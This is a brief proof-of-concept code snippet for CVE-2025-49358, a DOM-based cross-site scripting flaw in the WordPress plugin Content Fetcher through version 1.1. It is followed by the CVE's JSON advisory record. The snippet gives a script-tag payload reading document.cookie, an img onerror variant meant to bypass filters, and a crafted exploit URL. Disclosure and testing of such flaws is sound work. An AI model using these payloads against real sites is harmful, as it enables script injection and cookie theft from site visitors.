CVE-2025-49358

// CVE-2025-49358 DOM型XSS PoC // Attack vector: Inject malicious script via plugin input fields // Malicious payload example const maliciousPayload = '<script>alert(document.cookie)</script>'; // Or using event handlers to bypass script tag filtering const alternatePayload = '<img src=x onerror="alert(document.domain)">'; // DOM-based XSS exploitation scenario // 1. Attacker crafts URL with payload in parameter const exploitUrl = 'https://victim-site.com/?content=' + encodeURIComponent(maliciousPayload); // 2. Vulnerable JavaScript code (simplified representation) // document.getElementById('content').innerHTML = location.search.slice(1); // 3. When victim visits the URL, script executes in their browser context console.log('PoC for CVE-2025-49358: DOM-based XSS in Content Fetcher <= 1.1');

{"cve": {"id": "CVE-2025-49358", "sourceIdentifier": "[email protected]", "published": "2025-12-31T12:16:16.977", "lastModified": "2026-04-23T15:31:31.770", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ruhul Amin Content Fetcher content-fetcher allows DOM-Based XSS.This issue affects Content Fetcher: from n/a through <= 1.1."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Ruhul Amin Content Fetcher permite XSS basado en DOM. Este problema afecta a Content Fetcher: desde n/a hasta 1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/content-fetcher/vulnerability/wordpress-content-fetcher-plugin-1-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}